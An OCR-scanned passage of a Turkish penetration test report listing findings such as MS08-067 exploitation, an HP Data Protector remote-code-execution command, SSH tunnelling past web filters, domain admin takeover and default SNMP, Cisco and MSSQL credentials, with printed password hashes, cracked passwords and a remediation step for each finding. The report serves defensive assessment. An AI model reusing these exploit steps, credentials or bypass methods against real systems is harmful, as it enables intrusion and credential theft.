gerceklestirilebilir. Cok sik karsilasilan MS08_67 aciklig1 bunun i¢in ideal bir 6rnektir.

Acikligr Barindiran Sistemler:

MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote
Code Execution

* 10.10.10.25
* 10.10.10.30

MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution

* 10.10.10.40
* 10.10.10.25

MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability

* 10.10.10.162

MS04-007: ASN.1 Vulnerability Could Allow Code Execution
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* 10.10.10.60

MS05-027: Vulnerability in SMB Could Allow Remote Code Execution

* 10.10.10.26
* 10.10.10.20

MS06-040: Vulnerability in Server Service Could Allow Remote Code Execution

* 10.10.10.30
* 10.10.10.26
* 10.10.10.20

MS06-035: Vulnerability in Server Service Could Allow Remote Code Execution

* 10.10.10.30
* 10.10.10.26

Coziim Onerileri:
* Microsoft.com/update adresinden ilgili yamalar yiiklenerek gilivenlik agikliklar
kapatilabilir.

Referanslar:

* http://technet.microsoft.com/en-us/security/bulletin
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6.3.2.8. internet Erisimi Giivenlik Kontrollerinin Asilmasi

Onem Derecesi Yiiksek

Acikhigin EtKisi Bilgi ifsasi, Gizlilik ihlali
Erisim Noktasi Yerel Ag

Kullanici Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Internet erisimi giivenlik kontrolleri kurum calisanlarinin zararh olarak siniflandirilmis sitelere
erisimini kisitlamaktadir. Ozellikle zararli icerige sahip sitelere ve iceriklerine erisim
engellenerek, kullanici bilgisayarlarinin giivenligi saglanmaktadir. Kurum yerel ag1 icerisinden
direkt olarak internet erisimi olmayan kullanici bilgisayarlarina ytiklenecek kii¢lik yazilimlar ile
Firewall, IDS, IPS, Content Filter gibi glivenlik araclar1 DNS Tiinelleme yontemi ile atlatilabilir.
DNS Tinellemede calistirilan yazilimlar, istemci ve uzak bilgisayar arasinda baglanti agabilirler.

Asagidaki ekran goriintillerinde Dns tiinelleme ve ssh tiinelleme ile internet erisim
kontrollerinin asildigin1 gésterilmistir. Ik olarak kisitlanan bir siteye normal girilmeye
calisildig1 zaman asagidaki gibi olmaktadir

The connection was reset

il‘

The connection to the server was reset while the page was loading.

» The site could be temporarily unavailable or too busy. Try again in a few
moments.

= If you are unable to load any pages, check your computer's network
connection.

= If your computer or network is protected by a firewall or proxy, make sure that
Firefox is permitted to access the web.

Try Again

Sekil 20: Normal baglanti ayarlari ile kisith olan siteye erisim ani.
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Daha sonra ssh tiinelleme kullanilarak interet erisim kontrolleri asilmistir ve siteye
baglanilmistir.

TOULWKAELL ~/KU... TOULWKELL ~/KU... TUULWKELL ~/KO... TUULWKELL ~

€ [ant facebook.com v ® Bv Q @ & No Proxy

)Nessus Wy Aircrack-ng ﬂExploit-DB

ktop/sshuttle-master/client.py", 1ine 336, in

v Metasploit Pro

ktop/sshuttle-master/ssnet.py", line 459, in c{
ktop/‘sshuttle-master/ssnet y" ¢ lma 411, in/fl Email or Phone
self.outbuj

wuttln -master/ssnet.py", lmo 68, inank faCEbOOk

0SError: [Errno 32] Broke
:~/Deskt huttle-master# ./sshuttle -r cihat@85.95.]
cihat@5.95.238.171"'s password:

.
sed channel 3 got -emd=STOP_SENDING 1en=0 Slgn Up
channel 4 got (cnd=STOP_SENDING.len=0 H H )

\ sed channel 2 got cmd= STOP SENDING 1en=0 ConnECt Wlth frlends and the Its free and alv

warning: ¢ channel 13 got cmd= bTOP_SEHDIHG len=0

: warning: ¢ d channel 15 got tmd=STOP_SENDING 0 Orld around yOU on FacebOOk.
: warning: ¢ channel 14 got cmd=STOP_SENDING 0
ing: channel 16 got cmd=SFOP_SENDING 1len=0
channel 19 got cmd=STOP_SENDING 1len=0

ed channel 5 got cmd=STOP” SENDING-1en=0

: warning: closed channel 6 got cnd=STOP_SENDING Jen-p See photos and updates from friends in News Feed.
: warning: closed channel 10 got cmd=STOP_SENDING

: wammg: closed channel 21 got cmd=STOP_SENDING 1
channel 12 got cmd=STOP_SENDI
T warning: ¢ d channel 1 got cmd=STOP_SENDING 1en=0

Share what’s new in your life on your Timeline.
Sekil 21: Ssh tiinellemeden sonra siteye erisilmistir.

Acikligr Barindiran Sistemler:

* Giivenlik Duvari ve icerik Filtreleme Sistemi.
Coziim Onerileri:
Yerel agda kullanilan sistem tlizerinden istemci sistemler yetkilendirme asamasini gegmeden

DNS isteklerine hep ayni cevabi verecek sekilde yapilandirilarak engellenebilir. Her client icin
olusan DNS trafigine ait bant genisligi sinirlandirilmasi énerilmektedir.

Referanslar:

* http://beta.ivc.no/wiki/index.php/DNS_Tunneling
* http://blog.neustar.biz/dns-matters/dns-tunneling-part-2-how-to-identify-and-
prevent-tunneling/
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6.3.2.9. Zayif/ Eksik BIOS Parola Politikasi

Onem Derecesi Yiiksek

Acikhigin EtKisi Yetkisiz Erisim, Gizlilik Thlali
Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Yapilan si1zma testleri esnasinda istemciler lizerinde yapilan fiziksel sizma girisimlerinde bazi
istemcilerde BIOS parolasi oldugu bazilarinda ise olmadig1 goriilmiistiir. Parola ile korunan
istemcilerde “12345” gibi basit bir parolanin tercih edildigi gériilmiistiir. BIOS meniisiinde boot
siralamasi degistirilmeye calisildiginda basarisiz olunmustur buna ragmen sistem USB ile boot
edilebilmistir. Boyle durumlarda, istemci bilgisayara fiziksel erisim saglayan bir saldirgan USB
Flash Diskler veya CD/DVD araciligiyla sistemi baslatabilir. Sonrasinda ise kullanici adi/parola
gibi 6nemli bilgileri elde edebilir.

Usb ile boot edilen bilgisayara ait kullanicilarin parola 6zetleri asagidaki tabloda goriilmektedir.

Kullanicilara ait parola 6zetleri

Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
bgatest:1003:d979692189c435b51404ee:43e65bdc1fef6265ba07eee987aa9%¢e17::
labpc:1007:¢c2265b23734e0dacaad3b435b51404ee:693b4d2c104dbbcc15138b72b:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:4affa9a405925088987f8b521860b60f:::

test:1006:0ddfa5b901f0a07df63f95d3e417d25e:c085ba3816b76b897aae564eb511130a:::

win:1009:921988ba001dc8e14a3b108f3fabcb6d:e19ccf75ee54e06b06a5907af13cef42:::
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Parola ozetleri sifre kirma araglar1 kullanilarak kirilmistir ve kullanicilarin sifreleri tespit

edilmistir.

Kirilan sifreler

root@kali:~# john /root/Desktop/windows.hash

Warning: detected hash type "Im", but the string is also recognized as "nt"

Use the "--format=nt" option to force loading these as that type instead
Warning: detected hash type "Im", but the string is also recognized as "nt2"

Use the "--format=nt2" option to force loading these as that type instead

Loaded 16 password hashes with no different salts (LM DES [128/128 BS SSE2])
Remaining 4 password hashes with no different salts

Bgatest (deneme)

Test (test:1)

Aciklig1 Barindiran Sistemler:

* BIOS parolasi olmayan yada basit parolaya sahip sistemler.

Coziim Onerileri:

* BIOS meniisii parola ile korunmali ve bu parolalarin firma politikasina uygun olarak

tahmin edilmesi gii¢ sekilde verilmesi 6nerilmektedir.

e USB/CD-DVD kullanimi icin 6nlemler alinmasi 6nerilmektedir. (Referansta belirtilen

linkten yararlanilabilir).

Referanslar:

* http://www.eweek.com/c/a/Security/USB-Drive-Security-10-Tips-for-Guarding-

Enterprise-Data-470069/

* http://www.pcworld.com/article/158292 /Enable_BIOS_Passwords_for_Extra_Security

.html

* http://technet.microsoft.com/en-us/library/ee692099%28v=surface.10%29.aspx
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6.3.2.10. HP Data Protector Uzaktan Kod Calistirma Agikligi

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Ac¢iklamasi:

Gergeklestirilen sizma testleri esnasinda hedef sistemde Ilgili port lizerinde hizmet veren HP
Data Protector uygulamasinin uzaktan kod g¢alistirma agikligina sahip oldugu belirlenmistir.
Saldirgan kullanicilar tizerinde oynanmis ¢esitli paketler gondererek ilgili sistemdeki aciklig
istismar edip sistem tizerinde ¢calistirilabilir ve komut satir1 elde ederek hedefi ele gecirebilirler.

HP Data Protector Uzaktan Kod Calistirma

root@kali:~# exploit.py 10.10.10.24 5555 ‘ifconfig’

eth0 Link encap:Ethernet HWaddr 00:0c:29:ef:98:87
inet addr:10.10.10.24 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff.feef:9887/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5102 errors:0 dropped:0 overruns:0 frame:0
TX packets:3963 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7315687 (6.9 MiB) TX bytes:233717 (228.2 KiB)

Interrupt:19 Base address:0x2024

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1
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RX packets:44331 errors:0 dropped:0 overruns:0 frame:0
TX packets:44331 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:8638621 (8.2 MiB) TX bytes:8638621 (8.2 MiB)

Acikligr Barindiran Sistemler:

* 10.10.10.24

Coziim Onerileri:

¢ Mevcut durumda kullanilan Data Protector uygulamasinin A.06.20 veya sonrasina

yukseltilmesi 6nerilmektedir.
* Sifreli iletisim servislerinin devreye alinmasi 6nerilmektedir.

Referanslar:

* http://www.zerodayinitiative.com/advisories/ZDI-11-055/
* http://archives.neohapsis.com/archives/bugtraq/2011-02/0076.html

* http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c027

81143
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6.3.2.11. Microsoft Server RPC Servisi Uzaktan Kod Calistirma Agikhigi (MS08-067)
Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Sistem

Bulgu Sebebi Giincel Olmayan Isletim Sistemi Kullanimi
Bulgu Aciklamasi:

Miisteri kurum i¢ aginda yapilan sizma testleri esnasinda ilgili portlar lizerinden sisteme
sizmalar gerceklestirilebilecek giivenlik acikliklarinin oldugu tespit edilmistir. Hedef sistemde
bulunan MS08-067 zaafiyetinin istismari ile uzaktan komut ¢alistirilabilmektedir. Bu sekilde
saldirgan hedef sistemde erisim elde edebilir. Ardindan hak yiikseltme gerceklestirip system
haklarinda komut calistirabilir duruma gelebilir. Bu noktadan sonra istedigi komutu
calistirabilecek olan saldirgan, ilgili sistem lizerinden tiim yerel ag1 tehdit edebilir.

[P adresinde bulunan MS08-067 ac¢iklig1 istismar edilerek ilgili sisteme erisim saglanabilmistir.
I1gili sunucu lizerinde meterpreter oturumu elde edilmis ve system haklarinda her tiirlii komut
kosturulabilir duruma gelinmistir

Ele gecirilen bu sunucu tizerindeki bolgesel kullanici hashleri ele gecirilmistir.
Ele gecirilen bolgesel kullanici parola hashleri kirilmistir.

Ele Gegirilen admin parolasi

Kullanici adi: Administrator

Parola: Admin123456

Not: Bu sistemde ele gecirilen kullanici hesabinin (Administrator/Admin123456) sirket i¢
networkiinde 185 farkl sistemde de kullanildig1 belirlenmistir. Bu sistemlerin tiimiine ait IP
adresi bilgisi * Ayni Kullanic1 Hesabinin IP adresine sahip sisteme ait bolgesel kullanic1 hesaplari
ele gecirildikten sonra uzak masatistii baglantisi ile de erisim saglanmistir.

10.10.10.20 IP adresine sahip sistem lizerinde MS08-067 a¢iklig1 istismar edilerek meterpreter
oturumu elde edildikten sonra, bu sistem uzerindeki kullanici tokenlar1 kullanilarak
10.10.10.25 IP adresine sahip Domain Controller sunucusu iizerinde kullanici olusturulmaya
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calisildi. 10.10.10.32 IP adresine sahip sistem tizerinde bulunan kullanic1 tokenlar1 Domain
Controller iizerinde kullanici olusturmaya yetkili oldugundan dolay: basarili bir sekilde Domain
Controller iizerinde kullanici hesabi olusturabilmistir. Olusturulan kullanici Domain Admins

grubuna eklenerek miisteri kurum i¢ networkiinde Domain Admin olunmustur.

DC Uzerinde olusturulan hesap

Kullanici adi:

Support

Parola:

PasswOrd!

Ele gecirilen Domain Controller sunucusuna ait asagidaki ekran goriintiisiinde Active Directory

kullanic1 ve bilgisayarlari goriilmektedir.

4% Active Directory Users and Computers =] B

@ File Action Yiew Window Help
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e | BamlieXxERBE R

gl o

-] Saved Queries

= @ contoso,com
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{&] outest
(L1 Program Data
-] System
(] Test oU
[#-(2) testers

SRS fLisers
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mEnterprise Admins

Domain Users
mDomain Guests
ﬁl’)nmain Contrallers

User

Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Gl...
Security Group - Un...
Security Group - Gl...
Security Group - Gl...
Serrity Gronn - (Y .

Built-in account for quest access to the
Members in this group can modify grou
This group is created by GFI EndPointS
This group is created by GFI EndPointS
This group is created by GFI EndPointS
This group is created by GFI EndPointS
This group is created by GFI EndPointS
This group is created by GFI EndPointS
This group is created by GFI EndPointS
This group is created by GFI EndPointS

This group is created by GFI EndPointS__
This group is created by GFI EndPointS
Designated administrators of the enter
All domain users

All domain guests

All dnmain ronkrallers in Fhe dnmain _’I_'

Sekil 22: Kullanicilar ve bilgisayarlar

Miisteri Kurum i¢ networkiinde domain admin olduktan sonra i¢ networkteki domaine dahil
tim sistemlere (Sql veritabani sunuculari, DNS sunucular ve diger tim sistemler) erisim
saglanabilir.

MS08-067 acgikligi ile ele gecirilen 10.10.10.20 IP sine sahip sistem {izerinden bir bagka domain
controller makinasi olan 10.10.10.44 IP adresine sahip sistem ele gecirilmeye calisilmis.
Oncelikle klasik yollarla bu hedef sisteme ajan yazilim yiiklenmeye calisildi. Fakat yiiklenen
ajanin antiviriis yazilimi tarafindan engellendigi goriimiistiir. Bunun {zerine antiviriis
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yaziliminin atlatilmas1 icin BGA pentest ekibi tarafindan 06zel bir meterpreter ajani
olusturulmustur. Olusturulan ajan yazilim hedef sisteme yiiklenip uzak masatistii baglantisi ile
calistirlmaya c¢alisildi, fakat DEP korumasi ile karsilasildi. DEP korumasi kaldirilarak
calistirildiginda makinaya meterpreter ajani basariyla yiiklendigi goriildi. Boylece 2. Domain
controller makinasi da ele gecirmis olduk, akabinde domain kullanicilarin bilgileri ve sifre
hashlerine erisim saglanilabildi.

Acikligr Barindiran Sistemler:

* 10.10.10.20
* 10.10.10.25

Coziim Onerileri:
e Kisa vadeli ¢éziim olarak, Isletim sistemi iizerinde, ilgili servisinin giivenlik duvari

tarafindan sadece yetkili ip adreslerine agilmasi 6nerilmektedir.

* Uzun vadeli ¢O6zim olarak, http://update.microsoft.com/
microsoftupdate adresinden gerekli giincellestirmelerin yapilmasi énerilmektedir.

Referanslar:

* http://technet.microsoft.com/en-us/security/bulletin/ms08-067
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6.3.2.12. Anonim FTP Hesabi Kullanimi

Onem Derecesi Orta

Acikhigin Etkisi Yetkisiz Erisim, Bilgi ifsas
Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

FTP dosya transferi i¢in kullanilan bir servistir. FTP servisleri kisiye 6zel bir kullanic1 ad1 ve
parola gerektirmeden “Anonymous” kullanici adiyla dosya transferine izin vermektedir. Bu
islem dosya transferine kolaylik getirsede hassas dosyalara yetkisiz ve ilgisiz kisilerin erisimini
miumkin kilmaktadir. Kurum yerel aginda yapilan sizma testlerinde, “Anonymous”
kullanicisinin aktif oldugu FTP sunuculari tespit edilmistir.

DCiizerinde olusturulan hesap

Kullanic1 adx: Anonymous

Parola: bos

Komut satirindan ve direk olarak ip adresine browser tlizerinden erisildigi zaman ftp servisinin
acik oldugu gorilmektedir. Asagidaki ekranda browser lizerinden ftp servisine erisildigi
goriilmektedir.

Anonim FTP

root@kali:~# ftp 10.10.10.93

Connected to 10.10.10.93

220 .... FTP server (Version 6.00LS) ready.
Name (10.10.10.93:root): anonymous

331 Guest login ok, send your email address as password.
Password:

230 Guest login ok, access restrictions apply.
Remote system type is UNIX.

Using binary mode to transfer files.

ftp>Is

200 PORT command successful.

total 12

drwxrwxr-x 20 5 512 Nov 27 2012 .snap
drwxr-xr-x 3 1006 1006 512 Nov 27 2012 pub
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drwxr-xr-x 21 1006 0 512 Nov 27 2012 www
226 Transfer complete.
ftp>

Acikligr Barindiran Sistemler:

* 10.10.10.93

Coziim Onerileri:

Anonymous kullanicisi kaldirilmali veya parola korumali sekilde kullanilmasi 6nerilmektedir.

Referanslar:

* http://tools.ietf.org/html/rfc1635
[1S igin;

* http://technet.microsoft.com/en-us/library/dd463993%28v=ws.10%29.aspx
XAMPP Filezilla icin;

* http://robsnotebook.com/xampp-ftp-remove-default-passwords
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6.4. Anahtarlama(Switch) ve Yonlendirici(Router) Cihaz Giivenlik Testleri

6.4.1. Gergeklestirilen Giivenlik Testleri
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Tespit Edilen Agikliklar

6.4.1.1. Ontanimli SNMP Bilgileri Kullanimi

Onem Derecesi Orta

Acikhigin EtKisi Bilgi ifsas1

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Network

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

SNMP servisi uzaktan sistem ayarlarin1 sorgulama, sistem hakkinda bilgi alma ve ayarlarda
degisiklik yapmak icin kullanilan bir yonetim servisidir. Public, private, cisco gibi 6n tanimh
kimlik bilgilerinin kullanilmasi, saldirgana sistem iizerinde sorgu yapma ve konfiglirasyonda
degisiklik yapma olanag saglar.

BGA pentest ekibi tarafindan miisteri kurum i¢ aginda yapilan sizma testi esnasinda bazi
sistemlerde topluluk ismi olarak public/private gibi dntanimli degerlerin kullanildig1 tespit
edilmistir.

On tanimh SNMP Bilgilerinin Kullanimi

Host IP :10.10.10.99

Hostname : ProCurve Switch 2650

Description : ProCurve J4899B Switch 2650, revision H.08.98, ROM H.08.02
(/sw/code/build/fish(ts_08_5))

Contact :-

Location D -

Uptime snmp D -

Uptime system : 28 days, 17:18:00.16

System date i
[*] Network information:

IP forwarding enabled  : no
Default TTL : 64

TCP segments received : 28544
TCP segments sent 217113
TCP segments retrans  : 0

Input datagrams : 5073748
Delivered datagrams : 3808063
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Acikligr Barindiran Sistemler:

* 10.10.10.99

Coziim Onerileri:

* SNMP servisi kullanilmiyorsa kapatilmasi 6nerilmektedir.

* Yalnizca izinli IP adreslerinin SNMP servisinde baglanti kurmasina izin verilmesi
onerilmektedir.

e SNMP Community String degeri tahmin edilmesi gii¢ bir deger ile tanimlanmasi
onerilmektedir.

¢ Varsa SNMP v3 desteginin aktif edilmesi 6nerilmektedir.

Referanslar:

* http://www.fags.org/faqs/by-newsgroup/comp/comp.protocols.snmp.html
* http://www.sans.org/security-resources/idfaq/snmp.php
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6.4.1.2. Ontanimh Switch Kullanici Hesabi

Onem Derecesi Kritik

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Network

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Gerceklestirilen sizma testleri esnasinda miisteri kurum i¢ aginda EnteraSys tiirii switch
aygitlarinin kullanildig: tespit edilmistir. Ilgili sistemlere 23. port iizerinden web yonetim
panellerine yapilan 6n tanimli kullanici bilgileri ile sizma girisimlerinin basarili olunmustur.

Tahmin edilen 6ntaniml kullanici bilgileri;

Kullanici adi: Cisco

Parola: Cisco

Ontanimh kullanic bilgileri ile korunan 2 tane Cisco Router tespit edilmistir. 10.10.10.41 IP
adresine sahip routera telnet ile erisim saglanmistir. Telnet ile erisim saglandiktan sonra
sistemde komut calistirabilme hakkinda sahip olunmustur. Switche telnet ile baglanilip komut
calistirlldigina dair komut ¢iktisi asagidaki gibidir.

On tanimh Cisco

telnet 10.10.10.41
Trying 10.10.10.41
Connected to 10.10.10.41

Router1#show version

Cisco 10S Software, C2600 Software (C2600-ADVIPSERVICESK9-M), Version 12.3(4)T4, RELEASE
SOFTWARE (fc2)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) 1986-2004 by Cisco Systems, Inc.
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Compiled Thu 11-Mar-04 19:57 by eaarmas

ROM: System Bootstrap, Version 12.2(8r) [cmong 8r], RELEASE SOFTWARE (fc1)
Router1 uptime is 20 minutes

System returned to ROM by power-on

System image file is "flash:c2600-advipservicesk9-mz.123-4.T4.bin"

This product contains cryptographic features and is subject to United

States and local country laws governing import, export, transfer and

use. Delivery of Cisco cryptographic products does not imply

Acikligr Barindiran Sistemler:

* 10.10.10.41

Coziim Onerileri:

* Kimlik dogrulamasiz erisilen yonetim panelleri mutlaka kimlik dogrulama islemine tabi
tutulmalar1 6nerilmektedir.

e ¢ aga kurulan tiim uygulamalara ait én tamimh kullanicar parolalarinin mutlaka
degistirilmeleri 6nerilmektedir.

¢ Kullania1 parolalarinin firma politikasina uygun olarak tahmin edilmesi gii¢ sekilde
verilmeleri 6nerilmektedir.

* Parola igerisinde biyiik harf, kiiciik harf, rakam ve alfanumerik karakterler olmasi
onerilmektedir.

e Parolalarin belirli periyodlarla degistirilmeleri 6nerilmektedir.

¢ llgili ydnetim paneline erisimlerin kisittanmalar1 énerilmektedir.

Referanslar:

* http://www.cyberciti.biz/tips/linux-security.html
* http://www.makeuseof.com/tag/how-to-create-strong-password-that-you-can-
remember-easily/
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6.5. E-posta ve DNS Sunucu Testleri

6.5.1. Gergeklestirilen Giivenlik Testi islemleri
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6.5.2. Tespit Edilen Agikhklar

6.5.2.1. Eposta Baslik Bilgisinden Yerel IP Elde Etme

Onem Derecesi Yiiksek

Acikhigin EtKisi Bilgi ifsas, Gizlilik ihlali
Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi EPosta

Bulgu Sebebi Yapilandirma Eksikligi/Hatasi
Bulgu Aciklamasi:

Hedef kurum c¢alisanlarindan gelen epostanin baslik bilgisi incelendiginde yerel agdaki IP
bloklari elde edilebilmistir. Bu IP bilgisi tek basina bir anlam ifade etmese dahi saldirganlar ilgili
bilgi ifsasini saldirinin ilerleyen asamalarinda kullanabilir.

Asagidaki tabloda yerel agdaki ip adresi ifsasina dair bilgiler bulunmaktadir.

E-posta Baslik Bilgisinden I[P Adresi Elde Etme

Delivered-To: cihat.isik@bga.com.tr

Received: by 10.10.10.33 with SMTP id t1csp115363obd;
Fri, 7 Mar 2014 06:57:05 -0800 (PST)

X-Received: by 10.10.10.39 with SMTP id av7mr22412977pbd.4.1394204224484;
Fri, 07 Mar 2014 06:57:04 -0800 (PST)

Return-Path: <isikosmancihat@gmail.com>

Received: from mail-pa0-x22c.google.com (mail-pa0-x22c.google.com [2607:f8b0:400e:c03::22c¢])
by mx.google.com with ESMTPS id yo5si8582552pab.34.2014.03.07.06.57.04
for <cihat.isik@bga.com.tr>
(version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
Fri, 07 Mar 2014 06:57:04 -0800 (PST)

Received-SPF: pass (google.com: domain of isikosmancihat@gmail.com designates
2607:f8b0:400e:c03::22¢ as permitted sender) client-ip=2607:f8b0:400e:c03::22c;
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Acikligr Barindiran Sistemler:

* E-posta sunucusu

Coziim Onerileri:

Mail sunucu yerel IP adresi ve istemci yerel [P adreslerinin eposta baslik bilgisinde iletilmesinin
engellenmesi 6nerilmektedir.

Referanslar:

* http://exchangepedia.com/2008/05/removing-internal-host-names-and-ip-
addresses-from-message-headers.html

* http://synjunkie.blogspot.com/2007/10/information-disclosure-from-email.html
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6.5.2.2. DNS Zone Transfer Agikhgi

Onem Derecesi Yiiksek

Acikhigin EtKisi Bilgi ifsas1

Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Zone transfer, birden fazla domain name server varsa diger name serverlarin zone igeriklerini
glincel tutabilmesi icin Primary DNS serverdan zonu cekip kullanmalarini saglayan bir
ozelliktir.Fakat genellikle bura da diisiilen konfigrasyon hatasi;zone transfer yapacak diger DNS
serverlara ait [P adreslerinin source IP olarak verilmesi yerine, zone transfer 6zelliginin tim
herkese (ANY) acilmasidir. Zone transfer ANY'e acik olan bir DNS server iizerinde var olan bir
zone cekilerek, bir web sitesine ait tiim subdomain'ler elde edilebilir ve buralardan saldiri
girisimleri gerceklestirilebilir. Miisteri kurumda yapilan sizma testleri esnasinda zone transfer
aciklig1 ile karsilasilmistir. DNS sunucu Ulzerinden alinan ve example domainine ait tim
subdomain isimlerine erisim saglanmistir. Ornek olarak asagida ele gegirilen subdomainlerin
bir kismi verilmistir;

i1k olarak hedef sisteme ait dns sunucular1 belirlenmistir.

Dig ile NS Kayitlarina Bakmak

root@bt:~# dig NS example.com

;; ANSWER SECTION:

example.com. 24301 IN NS  dnsO.inf.example.com.
example.com. 24301 IN NS  cancer.ucs.example.com.
example.com. 24301 IN NS  dns2.inf.example.com.
example.com. 24301 IN NS  dnsl.inf.example.com.
example.com. 24301 IN NS  lewis.ucs.example.com.
example.com. 24301 IN NS  xlab-0.example.com.
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Daha sonra bunlardan zone transfer 6zelligi acik olanlar belirlenmistir.Belirlenen bu alt
domaine gerekli sorgu yapildig1 zaman asagidaki tabloda da goruldiigi gibi dns kayitlarina
erisilebilmistir.

root@bt:~# dig @xlab-0.example.com example.com axfr | more

; <<>>DiG 9.7.0-P1 <<>> @xlab-0.example.com example.com axfr

; (1 server found)

;; global options: +cmd

example.com. 86400 IN  SOA  dnsO.example.com. hostmaster.ed.ac.

uk. 2012022200 1800 900 864000 86400

example.com. 86400 IN MX  5renko.ucs.example.com.
example.com. 86400 IN MX 5 pascoe.ucs.example.com.
example.com. 86400 IN MX 5 dalziel.ucs.example.com.
example.com. 86400 IN NS  dnsO.infexample.com.
example.com. 86400 IN NS dnsl.infexample.com.
example.com. 86400 IN NS  dnsZ.inf.example.com.
example.com. 86400 IN NS  lewis.ucs.example.com.
example.com. 86400 IN NS  cancer.ucs.example.com.
example.com. 86400 IN NS  xlab-0.example.com.

6-daysample.example.com. 86400 IN CNAME  psy-b6-2.psy.example.com.

www.6-daysample.example.com. 86400 IN CNAME psy-b6-2.psy.example.com.

Aciklig1 Barindiran Sistemler:

*  www.example.com

Coziim Onerileri:
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Zone transfer isleminin yalnizca localhost ve ikincil DNS server tarafindan yapilmasi igin
girilmesi gereken 6rnek BIND DNS konfigrasyonu asagidaki gibidir;

/etc/named.conficerisinde allow-transfer icin source IP adresleri giriyoruz.

options {

directory /usr/local/named; // directory forzone files

allow-transfer {

127.0.0.1; // localhost

35.6.42.6; // secondary DNS server
J7

7

Referanslar:

* http://www.networkpentest.net/2012 /02 /dig-ve-nslookup-ile-dns-zone-transfer.html
* http://en.wikipedia.org/wiki/DNS_zone_transfer
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6.6. Veritabani Sistemleri Glivenlik Testleri

6.6.1. Gergeklestirilen Giivenlik Testi islemleri
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6.6.2. Tespit Edilen Agikhklar

6.6.2.1. Ontanimh MSSQL Veritabani Kullanici Hesabi

Onem Derecesi Kritik

Acikhigin EtKisi Yetkisiz Erisim, Gizlilik Thlali
Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Veritabani

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Ac¢iklamasi:

Hedef sistem tlizerinde Microsoft SQL veritabani kullanildig1 belirlenmistir. Yapilan parola
tahmin denemelerinde 6ntanimli ‘sa’ hesabinin kullanildig1 ve parola korumasinin olmadigi
tespit edilmistir. Saldirganlar ilgili kullanici hesabi ile sisteme giris yapip tiim veritabani
sistemini ele gegirebilir, ilgili veritabani sunucusuna casus yazilim yiikleyip isletim sistemini ele
gecirebilir. Daha sonra buradan tiim i¢ aga s1zabilir.

Ontanimh MsSQL Kullanic1 Hesabi

Kullanici Adi: sa

Parola 1sa

Bu zafiyet lizerinden SQL sunucuya giris yapildi. xp_cmshell modiili aktif oldugu icin isletim
sistemine komut gonderilebilir durumda olan SQL sunucu tizerinden support_02 kullanicisi
olusturuldu. Sonra sisteme bu kullanici ile baglanilip casus yazilim atild1 ve sistemden kullanici
parola ozetleri ¢ekildi. Elde edilen parola 6zetleri asagidaki gibidir.

Elde edilen parola 6zetleri

Administrator:500:950cafd9669119a0cae3061708bf:.....

ExampleUser:1000:67278d3d79a15348c7048109e440:e62e1560c16959fdbdc83886def16
1d5:::
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ASD:1002:4688853efcd3c05e46c091bdb7663a:f856ba3a5c60cd19fa57ee3e89bc5cc

[+] test:1007:a6198987b0ca4952347afc8ea44345:

test2:1019:ce26230168c5639617995f9a3d1dac:4a6107984f8b2c84ac03f2ef37d6cb

test3:1020:8ba946ef3ed8adc24ebael5da60d4a:738664ffch902164213685ef3117c

test4:1021:5a149f85530135db14d1ca62c677b9:1e0f08b06de4c0132ba993999ab4

support_02:1025:e186d228f22d79fb69510020e401c:e22c354c90a9ffccf3c17fc02ce
df759:::

Acikligr Barindiran Sistemler:

* 10.10.10.22
* 10.10.10.33

Coziim Onerileri:

I¢c aga kurulan tiim uygulamalara ait én tamimli kullanici parolalart mutlaka degistirilmesi
onerilmektedir. Kullanic1 parolalarinin firma politikasina uygun olarak tahmin edilmesi gili¢
sekilde verilmeleri onerilmektedir. Parola icerisinde biiylik harf, kiigiik harf, rakam ve
